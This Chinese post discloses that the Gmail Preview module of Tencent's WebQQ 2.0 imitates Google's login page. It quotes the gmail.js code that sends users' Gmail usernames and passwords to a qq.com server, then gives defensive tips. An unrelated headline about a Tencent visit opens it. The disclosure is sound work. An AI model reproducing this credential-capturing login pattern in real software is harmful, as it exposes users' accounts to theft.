胡锦涛考察腾讯公司获赠QQ靓号 笑逐颜开
腾讯昨日推出WebQQ2.0，但是用过程中发现其 Gmail Preview 模块存在钓鱼的行为。当使用 Chrome 访问其 Gmail Preview 页面时提示为诱骗网站。
展开这个页面的 iframe 地址，发现是在 qq.com 域下
ＨＴＴＰＳ：／／web2.qq.com／cgi／gmail／gmail.html
但页面的形式与 Google 的风格一致，非常能让用户混淆这就是 Google 自家的页面。
该页面内含一个登陆框，但在此框登录时，并未回到Gmail官方网站进行OAuth验证，就直接显示了未读邮件.
查看其源代码，发现并没有提交到 Google 的痕迹。
然后我们查看其相关的 gmail.js（ＨＴＴＰＳ：／／web2.qq.com／cgi／gmail/gmail.js），发现其中有段代码为
var option = {retype:3,callback:"parent.qqweb.app.gmail.getListMail"};
if (u != null && p != null) {
option.u = u; ／／ Google 帐户用户名
option.p = p; ／／ Google 帐户密码
}
formSend( GMAIL_SERVER_DOMAIN + "cgi／qqweb／gmail.do",{method : "POST", data : option} );
这段应该就是往 GMAIL_SERVER_DOMAIN POST 用户名和密码登录了，那么 GMAIL_SERVER_DOMAIN 的值是什么
呢？就在本文件的第 14 行
var GMAIL_SERVER_DOMAIN = 'ＨＴＴＰＳ：／／web2.qq.com／';
也就是说，你的 Gmail 用户名和密码实际上是提交到了
ＨＴＴＰＳ：／／web2.qq.com／cgi／qqweb／gmail.do
这个地址。
建议已经使用过该模块的用户尽快更改您的 Google 密码，并检查 Gmail 过滤器中有无可疑的项目。
更新:
1.今天该页面已经被举报为攻击页面，受到包括Firefox、Chrome等主流浏览器和Twitter等网站的拦截。
2.腾讯紧急撤下了WebQQ2.0中的Gmail应用，将“QQ邮箱”替换到相应位置，对应的 JS 文件也已被删除.
防止钓鱼攻击的应对方法:
浏览器通过安全(可信任)的加密代理服务器或VPN上网,并以https方式登录google官方gmail网站即可.也特别要记得删除CNNIC证书.
另外,有部分人认为通过https方式登录gmail就足够安全,这是错的.因为有https的加密有可能被"中间人攻击"攻破.
通过安全(可信任)加密代理服务器或VPN上网可以防止"中间人攻击",保证https加密的安全.
另外,浏览器的DNS解析方法要设定为通过远程解析,以防止DNS劫持攻击.如果你是使用firefox,把选项:network.proxy.socks_remote_dns设定为true即可.
评论 (0)